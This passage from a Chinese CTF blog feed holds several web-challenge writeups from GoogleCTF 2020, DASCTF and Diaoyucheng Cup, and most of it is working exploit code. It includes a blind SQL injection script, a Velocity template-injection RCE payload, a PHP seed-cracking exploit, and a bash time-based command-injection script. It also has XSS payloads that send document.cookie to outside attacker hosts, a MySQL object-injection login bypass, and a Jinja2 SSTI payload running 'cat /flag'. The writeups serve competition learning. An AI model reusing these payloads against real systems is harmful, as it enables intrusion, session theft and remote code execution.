Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862316
Origin: http://124.71.191.175
Connection: close
Referer: http://124.71.191.175/
Upgrade-Insecure-Requests: 1

-----------------------------257708923430047524191624862316
Content-Disposition: form-data; name="upfile"; filename="%s.jpg"
Content-Type: image/jpeg

Y1ng
-----------------------------257708923430047524191624862316--
''' % name
	proxy=('127.0.0.1','8080')
	hh = hack.httpraw(raw=raw, ssl=False)

def rename(name):
	url = 'http://124.71.191.175/rename.php'
	data = {
		'oldname' : name,
		'newname' : "bbbbb%d.jpg" % random.randint(1,1000000)
	}
	header = {
		"Content-Type" : "application/x-www-form-urlencoded",
		"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Origin" : "http://124.71.191.175",
		"Upgrade-Insecure-Requests" : "1"
	}
	proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
	r = req.post(url=url, data=data, headers=header)
	if "Y1ng" in r.text:
		return True
	else: 
		return False


def main():
	sql = "select group_concat(password) from user"
	res = ""
	for i in range(1,1000):
		low = 32
		high = 128
		mid = (low + high) // 2
		while (low < high):
			name = f"Y1ng' or ascii(substr(({sql}),{i},1))>{mid}#"
			upload(name)
			rename_result = rename(name)
			if rename_result:
				low = mid + 1
			else:
				high = mid
			mid = (low + high) // 2
		if mid == 32 or mid == 127:
			break
		res += chr(mid)
		print(res)

if __name__ == '__main__':
	main()	

在给的un.sql中得到用户名:

INSERT INTO user VALUES ('XM', $db_pass, 'admin')

之后反序列化:

<?php
class XCTFGG{
    private $method = "login";
    private $args = array("XM", "qweqweqwe");
}
echo urlencode(serialize(new XCTFGG()));

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2621.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2621.html/feed 0
“钓鱼城杯”国际网络安全技能大赛Writeup https://www.gem-love.com/ctf/2612.html https://www.gem-love.com/ctf/2612.html#respond Fri, 28 Aug 2020 08:58:42 +0000 https://www.gem-love.com/?p=2612 Author:颖奇L’Amore

Blog:www.gem-love.com


zblog

在title找到了任意文件读取

view-source:http://122.112.253.135/?title=../../../../../../../etc/passwd

view-source:http://122.112.253.135/?title=../../../../../../../home/ctf/web/.idea/workspace.xml
  <component name="IdeDocumentHistory">
    <option name="CHANGED_PATHS">
      <list>
        <option value="$PROJECT_DIR$/src/main/resources/hello.vm" />
        <option value="$PROJECT_DIR$/src/main/resources/aaa" />
        <option value="$PROJECT_DIR$/pom.xml" />
        <option value="$PROJECT_DIR$/src/main/resources/index" />
        <option value="$PROJECT_DIR$/src/main/resources/templates/My First Blog" />
        <option value="$PROJECT_DIR$/src/main/resources/templates/hello" />
        <option value="$PROJECT_DIR$/src/main/resources/templates/index" />
        <option value="$PROJECT_DIR$/src/main/java/Blog.java" />
      </list>
    </option>
  </component>

得到源码:

view-source:http://122.112.253.135/?title=../../../../../../../home/ctf/web/src/main/java/Blog.java

import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;


import java.io.StringWriter;

public class Blog {

    private static void log(String fname, String content) {
        try {
            FileWriter writer = new FileWriter(fname, true);
            writer.write(content);
            writer.close();
        } catch (IOException e) {

        }
    }

    public static void main(String[] arg) {
        staticFiles.location("/public");

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
        velocityEngine.init();
        VelocityContext context = new VelocityContext();

        get("/", (request, response) -> {
            request.session(true);
            String title = request.queryParams("title");
            if (title != null) {
                log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
                Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
                StringWriter sw = new StringWriter();
                template.merge(context, sw);
                return sw;
            }
            Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
            StringWriter sw = new StringWriter();
            template.merge(context, sw);
            return sw;
        });
    }
}

velocity模板注入RCE,payload(别忘了url编码):

#set($s="")#set($stringClass=$s.getClass())#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))#set($readerClass=$stringClass.forName("java.io.Reader"))#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))#set($systemClass=$stringClass.forName("java.lang.System"))#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("whoami"))#set($null=$process.waitFor() )#set($inputStream=$process.getInputStream())#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))#set($stringBuilder=$stringBuilderConstructor.newInstance())#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))$output

然后再去读一下log文件看命令执行结果


easyseed

index.bak:

$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

function random($length, $chars = '0123456789ABC') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

cookie处得到lockEUHaY,由header可知PHP的版本X-Powered-By: PHP/5.6.28

PHP伪随机数问题,和GWCTF枯燥的抽奖差不多,老考点了,exp:

<?php
//Y1ng
function getSeed()
{
    $chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';
    $max = strlen($chars) - 1;

    $hash_result = 'vEUHaY';
    $arr = [];
    $index = 0;
    for ($i=0; $i< strlen($hash_result); $i++)
    {
        for ($j=0; $j< strlen($chars); $j++)
        {
            if ( $hash_result[$i] === $chars[$j] )
            {
                $arr[$index] = $j;
                $index++;
                break;
            }
        }
    }
    echo "./php_mt_seed ";
    for ($i = 0; $i<count($arr); $i++)
    {
        echo "${arr[$i]} ${arr[$i]} 0 ${max} ";
    }
    echo "\n";
}

function getKey()
{
    function random($length, $chars = '0123456789ABC') {
        $hash = '';
        $max = strlen($chars) - 1;
        for($i = 0; $i < $length; $i++) {
            $hash .= $chars[mt_rand(0, $max)];
        }
        return $hash;
    }
    mt_srand(718225);
    $lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
    $key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
    echo $lock . ' ' . $key;
}
getSeed(); //./php_mt_seed 21 21 0 51 30 30 0 51 46 46 0 51 33 33 0 51 0 0 0 51 50 50 0 51
getKey(); //  vEUHaY nRtqGR8mtd9ZOPyI

爆破出种子718225,之后计算$keynRtqGR8mtd9ZOPyI,放到cookie里,还需要XFF头伪造个127.0.0.1,即可得到flag。


easyweb

在header处写到post cmd,于是POST提交一个cmd可以执行命令,但是不出网,于是bash时间盲注。

可以直接利用第三届BJDCTF帮帮小红花一题的exp,除了把GET提交改成POST提交,其他一点没变,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://119.3.37.185/'
alphabet = ['{','}', '.', '@', '_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,50):
	for char in alphabet:
		payload = "if [ `ls / | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #/flag.txt
		payload = "if [ `cat /flag.txt |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.post(url, data=data)
			end = int(t.time()) - start
			if end >= 3:		
			    result += char
			    print("Flag: "+result)
			    break
		except Exception as e:
			print(e)

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2612.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2612.html/feed 0
🇺🇸GoogleCTF 2020 Writeup https://www.gem-love.com/ctf/2593.html https://www.gem-love.com/ctf/2593.html#respond Wed, 26 Aug 2020 18:03:44 +0000 https://www.gem-love.com/?p=2593 Author:颖奇L’Amore

Blog:www.gem-love.com

JS大赛 我好爱 如果不和强网杯冲突就更好了


All The Little Things

I left a little secret in a note, but it’s private, private is safe.

Note: TJMike🎤 from Pasteurize is also logged into the page.

题目是个note,另外还加了一些用户自己的profile,以及可以切换主题light和dark

settings:

还有CSP:

在HTML源码中注意到有一个注释,开启后则多出来一个debug的div

然后因为这是个JS题,来一个一个看下JS文件。

static/scripts/utils.js

// make sure that variable is undefined
function is_undefined(x) {
    return typeof x === "undefined" && x == undefined
}

window.addEventListener('DOMContentLoaded', ()=>{
    fetch('/me').then(e => e.json()).then(make_user_object);
})

fetch这个/me的路由可以得到个人信息,像这样:

{"username":"Y1ng","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{},"choice":1}}

注意到then(make_user_object),那么我们跟进/static/scripts/user.js:

class User {
    #username; #theme; #img
    constructor(username, img, theme) {
        this.#username = username
        this.#theme = theme
        this.#img = img
    }
    get username() {
        return this.#username
    }

    get img() {
        return this.#img
    }

    get theme() {
        return this.#theme
    }

    toString() {
        return `user_${this.#username}`
    }
}

function make_user_object(obj) {

    const user = new User(obj.username, obj.img, obj.theme);
    window.load_debug?.(user);

    // make sure to not override anything
    if (!is_undefined(document[user.toString()])) {
        return false;
    }
    document.getElementById('profile-picture').src=user.img;
    window.USERNAME = user.toString();
    document[window.USERNAME] = user;
    update_theme();
}

首先他有一个User类,可以看到这个类下全部都是私有属性并且是没有set的,另外toString()会返回username。之后就是make_user_object函数,如果设置了debug就会调用load_debug,后面还会update_theme()。我们先跟进这个update_theme()看下:

function set_dark_theme(obj) {
    const theme_url = "/static/styles/bootstrap_dark.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function set_light_theme(obj) {
    theme_url = "/static/styles/bootstrap.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function update_theme() {
    const theme = document[USERNAME].theme;
    const s = document.createElement('script');
    s.src = `/theme?cb=${theme.cb}`;
    document.head.appendChild(s);
}

document.querySelector('#bootstrap-link').href = localStorage['theme'];

这个update_theme()实际上就是<script src=`/theme?cb=${theme.cb}`>,测试发现想要设置dark主题调用set_dark_theme()那么实际上就是一个script标签引用到/theme?cb=set_dark_theme上去,那么这里很明显cb参数后面加了什么就会call什么函数:

现在回头去看load_debug(),在static/scripts/debug.js下:

// Extend user object
function load_debug(user) {
    let debug;
    try {
        debug = JSON.parse(window.name);
    } catch (e) {
        return;
    }

    if (debug instanceof Object) {
        Object.assign(user, debug);
    }

    if(user.verbose){
        console.log(user);
    }

    if(user.showAll){
        document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
    }

    if(user.keepDebug){
        document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
    }else{
        document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
    }

    window.onerror = e =>alert(e);
}

function append_debug(u){
    const url = new URL(u);
    url.searchParams.append('__debug__', 1);
    return url.href;
}

function remove_debug(u){
    const url = new URL(u);
    url.searchParams.delete('__debug__');
    return url.href;
}

有一个非常非常显眼的东西:Object.assign(user, debug),而debug就是window.name的json。Object.assign()lodashmerge()基本一样(区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了window.name就能污染user对象了。

theme.cb是会被call的函数,而刚刚说了,User类下全是私有属性并且没有setter,那么我们不能直接控制theme.cb

但是通过assign()污染__proto__之后就可以绕过这个限制了:

可以看到现在取出来user对象的theme已经是{cb: "alert"}了,通过原型链污染我们控制了调用的函数。

然而本题目还有CSP,很多js是不能执行的。想要绕过这个CSP可以选择使用iframe,在iframe下利用scrip src调用theme?cb=来callback,这是完全可行的,并且iframe里也可以获取到主窗口下的内容,很多CSRF题目都是这个做题套路,类似这样:

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.innerHTML=window.name.toString"
   },
   "htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}

那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用Pasteurize的xss bot,那么我们可以用那个题的xss方法来进行xss(请看后文)。可是,需要xss打什么?打cookie吗?cookie是HTTP-Only的也没法用

实际上,我们需要得到管理员账户一个私有的note,我们可以构造xss去得到那个bot的note页面并leak到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用innerText取出来

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.firstElementChild.innerHTML=window.name.toString"
   },
   "payload":[
      "<form id='concat'>https://your_server/?<div></div></form>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
   ]
}

转base64然后eval()来执行,用pasteurize的方法让bot执行,这里有个小trick,通过判断UA来控制window.location,我当时做pasteurize时候没有想到。另外不要忘了urlencode,因为+会被解析成空格

控制台调一下,此时已经执行成功了:

不过samurai这个通过UA判断是否跳转的套路我没成功,最后还是直接用了location.href跳转,于是我们得到了管理员的note的地址

下一步只要去得到note下有什么就好了,直接修改跳转的地址为这个note的地址其他都不需要改

location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__

得到flag:

这个题目还是很有难度的,自己没有做出来,赛后看了三份Writeup,最后选择了Samurai的方法。tyage的方法也很好,Exp here


pasteurize

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

在/source得到源码:

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;

代码比较简单就不多说了。主要是个pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的xss题目。

首先来看下escape_string函数:

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

这里主要是JSON转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。

然后会把经过escape_string()处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:

这里可以看到,const note就是我们渲染进去的内容,然后经过了DOMPurify.sanitize()处理再显示出来,DOMPurify.sanitize()会剥去标签的事件等可以触发XSS的东西

查资料发现曾经的版本可以用突变XSS(mXSS)来绕过DOMPurify,然而已经在后续的版本更新了,本题使用的Purify.js是新版本,不存在这个bypass漏洞。

另外我们输入的东西会被显示在<div></div>里,因为后端的esacpe_string()又过滤了<>就更不能xss了

如果DOMPurify不存在漏洞,那就只能去bypass后端escape_string()了。

自己再本地调了一下,发现这个JSON.stringify()很多余,既然note是个字符串,为啥要转成JSON,于是我想尝试提交一个对象,可惜服务端没有支持application/json,不过可以注意到题目使用了qs模块:

app.use(bodyParser.urlencoded({
  extended: true
}));

没用过qs.parse()也没关系,npm查一下就知道了,qs.parse()允许我们通过URLENCODED实现JSON一样的功能,即提交嵌套对象。

assert.deepEqual(qs.parse('foo[bar]=baz'), {
    foo: {
        bar: 'baz'
    }
});

继续本地测试:

正常情况下提交content就是什么就输出什么,因为slice(1,-1)脱去了分号;如果是利用qs.parse()提交对象就不一样了,此时经过JSON.stringify()得到的字符串再slice(1,-1)切片脱去的就不再是引号而是两侧的大括号了,因为此时的content不再是字符串而是对象

这实际上非常有用,它被渲染进了模板,然后DOMPurify对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为DOMPurify对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行JS注入

进行如下Post提交:

content[;alert(1)//]=Y1ng_test

得到:

const note = "";alert(1)//":"Y1ng_test"";

弹窗成功:

这就简单了,只要在这里构造xss payload就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要payload写在等号的右边

content[;Y1ng=]=;window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//

效果为:

const note = "";Y1ng=":";window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//"";

window.open()的话bot好像解析不了,然后换了window.location,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到flag:

当然除了window.location这种拼手速的payload,还有其他很多方法带出flag,只要学过js就肯定有办法,比如:

content[;Y1ng=]=;var img = document.createElement('img');img.src = `http://gem-love.com:12345/?q=${document.cookie}`;document.body.appendChild(img);//


LOG-ME-IN

Log in to get the flag

https://log-me-in.web.ctfcompetition.com/

给了node源码,重点在login路由:

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

需要登录为const targetUser = "michelle",然而并不知道它的密码,而且这里也不能注入,所以我们要想办法构造一个万能密码。

注意到和上一题一样,也是使用qs.query()处理传参:

app.use(bodyParser.urlencoded({
  extended: true
}))

那么我们可以故技重施,提交一个对象,来看看如果mysql.query()传参为对象会变成什么。根据官方文档

Objects are turned into key = 'val' pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.

我们可以自己本地试一下:

注意到他是直接转化为`key` = val的形式了,而mysql中反引号内为column name,只需要让其为`password`,这样password = `password` = 1就可以返回True了,进而登陆成功

提交:

username=michelle&password[password]=1


TECH SUPPORT

Try chatting with tech support about getting a flag. Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.

在chat下,我尝试了alert()没生效,尝试XMLHttpRequest去访问我的vps也没生效,但是直接引用是可以访问得到的

然而注意到这个chat是一个iframe,并且域名不一样,这意味着有CORS问题,直接去fetch flag肯定是不行了。

xss题有个套路,如果是需要打bot的cookie的,那么bot一般会去请求一个api来获取到cookie再去访问用户提交的url,很多人都这么出题,而我们可以通过document.referrer打到那个秘密接口,xss打到:

https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=%3Cimg%20src%3DX%20onerror%3Deval(atob(%22d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vZW5hcHF1eGE4M2FvNy54LnBpcGVkcmVhbS5uZXQvP3E9IitidG9hKGRvY3VtZW50LnJlZmVycmVyKTs%3D%22))%3E

这就是它用来登录管理员并获取管理员cookie的接口,我们也访问就可以称为管理员了,然后/flag拿flag。不过这种解法一般都是非预期。看了下ctftime,预期解比较复杂,是CSRF,和ByteBanditsCTF 2020的note有点像。

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2593.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2593.html/feed 0
2020DASCTF八月浪漫七夕战安恒月赛Writeup https://www.gem-love.com/ctf/2598.html https://www.gem-love.com/ctf/2598.html#comments Tue, 25 Aug 2020 09:59:39 +0000 https://www.gem-love.com/?p=2598 Author:颖奇L’Amore

Blog:www.gem-love.com

在女朋友家,下午时候简单把题做了下,最后一个node没来得及做,这题和前几天DEFCON Final的一个web有点像,等晚上有时间如果题目还开着的话再看看


安恒大学

这题是我出的,按照保密协议不能透露详细的解法,只是简单说一说出题想法,因为肯定很多人都不知道这题是考啥的。

首先,正如注释中缩写的,这是一道实战改编题,但是为了防止泄露思路,在注释中我没有给出更多的细节。由此在做渗透测试时,在一个系统的某个不起眼的地方——邮件激活链接发现了SQL注入,并得到了全校所有学生的内网平台账号密码,而学生的所有信息、所有网上办事等等几乎都使用校内网平台的账号密码,这是非常恐怖的。

同时,作为一名WEB方向的CTF选手,从CTF角度评估这道题目的话,这是否是一个好题是有待商榷的,这题的解法更像是非预期,有那种“给一大堆业务逻辑但是在无所谓的地方直接日穿”的感觉。但是渗透测试就是这样,任何地方都有可能产生漏洞,而干扰的内容又很多,只有大量的测试才能找到漏洞,所以既然是实战改编就干脆实事求是,也没必要特意改成CTF风格,CTF毕竟是比赛,以后去工作了早晚是要面对真实生产环境的。

在出题时,虽然不能百分百还原,但是本题目已经尽可能在CTF题目的基础上的还原当时的情形了:

  1. 注册、登录,注册需要邮件激活,邮件确实会发到你的邮箱里
  2. 登录后是学生信息系统(网上找的几年前的系统 还算比较符合实际 因为现在的大学用的基本还都是几年前的系统),里面有很多功能(虽然我已经删过十几种了),很具有迷惑性,每个页面都是干扰项
  3. 数据量大,在flag所在的column中塞了12条数据,用来模拟1w名学生的账号密码(毕竟是ctf题数据太多了也没意思所以就弄了12条),而不像大部分sqlselect flag from flag就可以直接出flag

ezflask

之前见到过类似的题,然而忘了从哪见过了,本地存了当时的exp,直接用当时的exp就可以构造任意字符串


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

过滤的死死的了,尤其没有attr很难受,所以想办法eval,好在题目没有过滤globals,那就简单了,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。

构造payload:

#Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%}  #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%}  #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%}   #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%}   #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%}   #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}   #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %}  #builtins
{% set im = dict(imp=aa,ort=dd)|join() %}  #import
{% set sy = dict(po=aa,pen=dd)|join() %}  #popen
{% set os = dict(o=aa,s=dd)|join() %}  #os
{% set ca = dict(ca=aa,t=dd)|join() %}  #cat
{% set flg = dict(fl=aa,ag=dd)|join() %}  #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%}  #read
{% set bul = xhx*2~bu~xhx*2 %}  #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} 


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
	{% if f == bul %} 
		{% for a,b in v.items() %}  #builtins
			{% if a == ev %} #eval
				{{b(pld)}} #eval(pld)
			{% endif %}
		{% endfor %}
	{% endif %}
{% endfor %}

访问即可获得flag:

http://183.129.189.60:10025/?name=?{%%20set%20xhx%20=%20(({%20}|select()|string()|list()).pop(24)|string())%}{%%20set%20spa%20=%20((app.__doc__|list()).pop(102)|string())%}{%%20set%20pt%20=%20((app.__doc__|list()).pop(320)|string())%}%20{%%20set%20yin%20=%20((app.__doc__|list()).pop(337)|string())%}{%%20set%20left%20=%20((app.__doc__|list()).pop(264)|string())%}%20{%%20set%20right%20=%20((app.__doc__|list()).pop(286)|string())%}%20{%%20set%20slas%20=%20(y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)|join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)|join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)|join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)|join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)|join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)|join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)|join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)|join()%}{%%20set%20bul%20=%20xhx*2~bu~xhx*2%20%}{%%20set%20pld%20=%20xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~